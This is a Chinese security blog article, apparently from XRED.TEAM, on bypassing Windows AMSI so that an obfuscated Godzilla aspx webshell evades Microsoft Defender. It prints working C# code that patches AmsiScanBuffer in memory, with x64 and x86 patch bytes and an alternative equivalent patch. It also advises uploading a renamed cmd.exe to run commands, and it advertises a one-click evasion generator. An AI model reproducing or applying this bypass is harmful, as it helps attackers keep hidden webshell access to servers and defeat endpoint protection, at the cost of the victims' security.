【免杀基础】AMSI介绍与绕过(实战哥斯拉过Defender)

admin 2025-12-22 04:20:16 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文介绍了Windows中的AMSI反恶意软件扫描接口原理及其对托管代码的检测机制。文章通过哥斯拉webshell演示了AMSI的检测能力,并详细介绍了如何通过patchAmsiScanBufferAPI来绕过AMSI检测。作者提供了具体的代码实现,包括修改内存权限和替换指令,最终成功使哥斯拉webshell绕过Defender的检测并正常运行。文章还分享了针对不同系统架构的绕过方法,为安全研究人员提供了实用的免杀技术参考。 综合评分: 91 文章分类: 免杀,实战经验,WEB安全


cover_image

【免杀基础】AMSI介绍与绕过(实战哥斯拉过Defender)

原创

1y0n

XRED.TEAM

2025年12月15日 21:08 山东

01

——XRED.TEAM——

前言

从Win10开始,微软提供了AMSI(Antimalware Scan Interface,反恶意软件扫描接口),它是Windows提供的一个通用接口标准,允许应用程序和服务与计算机上安装的任何反恶意软件产品(如Defender)集成,实现对脚本、内存、文件流的深度检查,以检测和防御利用混淆脚本和内存加载的恶意软件和高级攻击。

在开始后面的内容之前,我们先来了解两个概念:托管代码和非托管代码。

托管代码:C#这种不直接编译成机器码,而是编译成中间语言,最后由CLR执行的称为托管代码。我们的aspx webshell就是C#写的托管代码,而AMSI几乎是专门用来对付托管代码的。

非托管代码:C/C++这种直接编译成机器码的为非托管代码,几乎不用考虑AMSI的影响。

AMSI具体的原理可以参考微软官网:

https://learn.microsoft.com/zh-cn/windows/win32/amsi/how-amsi-helps

我们可以对aspx webshell进行各种各样的加密混淆变形,但是在运行时,代码需要解密,CLR才能正常识别并运行。AMSI就是在代码解密完成后,在交给CLR执行前的那一刻(此时代码是解密后未混淆的状态),对代码进行扫描。也就是说,静态的混淆变形,对AMSI是无效的。

光看文字不容易懂,我们在Windows Server 2025中用哥斯拉测试下。

首先上传一个原版的哥斯拉进去,直接会被查杀:

这会儿还和AMSI没有关系,单纯是WDF的静态查杀规则。

用掩日生成一个静态免杀的哥斯拉:

上传到服务器,这次静态是没问题的:

使用哥斯拉客户端连接,提示连接失败:

查看服务器告警:

注意看上图中箭头所指位置,这告诉我们WDF就是用AMSI查杀的。

接下来就进入正题,如何绕过AMSI。

02

——XRED.TEAM——

实战

AMSI是个接口,杀软需要调用这个接口才能查杀,如果我们干扰这个接口,让它返回正常或者报错,就可以绕过了。这也是现在针对AMSI的绕过的主流思路:对关键API进行patch,替换API开头的几个指令,强制使其返回。

网上有很多开源代码,以这个为例:

https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/main/AmsiBypass.cs

patch的流程是这样的:

  1. 找到amsi.dll中AmsiScanBuffer的地址,这个就是我们上面说的“关键API”
  2. 修改此处的内存权限,让我们能够写入
  3. 把替换指令写入此处,覆盖原有的指令
  4. 将内存权限还原回来,正常往后执行

为方便理解,我把每个步骤都写在代码注释中:

[System.Runtime.InteropServices.DllImport("kernel32")]    private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);    [System.Runtime.InteropServices.DllImport("kernel32")]    private static extern IntPtr LoadLibrary(string name);    [System.Runtime.InteropServices.DllImport("kernel32")]    private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);    void Bypass() {        try {            // 1. 载入amsi.dll,AMSI相关的API都在这个dll里            IntPtr lib = LoadLibrary("amsi.dll");            if (lib == IntPtr.Zero) return;            // 2. 找到AmsiScanBuffer的位置,这个是篡改的目标            IntPtr addr = GetProcAddress(lib, "AmsiScanBuffer");            if (addr == IntPtr.Zero) return;            uint old = 0;            byte[] p;            // 3. 32位和64位的指令是不一样的,这里需要判断下            if (IntPtr.Size == 8) {                // x64: mov eax, 0x80070057; ret                // 4. 这是64位的替换指令                p = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };            } else {                // x86: mov eax, 0x80070057; ret 0x18                // 5. 这是32位的替换指令                p = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };            }
            // 6. 把内存权限改为可写            VirtualProtect(addr, (UIntPtr)p.Length, 0x40, out old);            // 7. 写入替换指令            System.Runtime.InteropServices.Marshal.Copy(p, 0, addr, p.Length);            // 8. 还原内存权限            VirtualProtect(addr, (UIntPtr)p.Length, old, out old);        } catch {}    }

把代码粘贴到静态免杀的哥斯拉webshell里,上传到服务器,看下效果:

仍然是连接失败。看下告警,这次告警与上次不同:

DF把我们识别为了“AmsiTamper”——它知道了我们想修改AMSI。

继续绕过,因为这个替换指令是网上很早就开源的,猜想会不会是替换指令的问题,如果是,那改成一个等效指令会怎么样?

来看下64位的替换指令:

x64: mov eax, 0x80070057; ret

它是把值 0x80070057 (E_INVALIDARG) 放入 EAX 寄存器 (返回值寄存器),随后返回,让接口报错,实现绕过。

我们让它返回0试试,指令是(DF对替换的指令比较敏感,这里仅为示例,实际操作中请替换成其他的等效指令):

31 C0            xor eax, eaxC3               ret

除了修改替换指令之外,我们还可以把修改内存的代码改成非托管代码实现:

System.Runtime.InteropServices.GCHandle pinnedArray = System.Runtime.InteropServices.GCHandle.Alloc(p, System.Runtime.InteropServices.GCHandleType.Pinned);try {    IntPtr srcPtr = pinnedArray.AddrOfPinnedObject();    MoveMemory(addr, srcPtr, (uint)p.Length);} finally {    pinnedArray.Free();}

修改后再试一次:

03

——XRED.TEAM——

效果

哥斯拉正常连接,功能正常使用:

执行命令时仍然会被拦截,这个很好解决,自己上传一个cmd.exe,重命名成其他名称(比如111.exe),即可执行命令:

掩日EaaS 已支持本思路的一键生成。


如果你想支持掩日持续更新,或想了解内部原理并制作自己的免杀工具,欢迎加入知识星球。星球将持续分享技术文章与未公开的实战工具,每周1~2次更新。


查看原文:《【免杀基础】AMSI介绍与绕过(实战哥斯拉过Defender)》

评论:0   参与:  1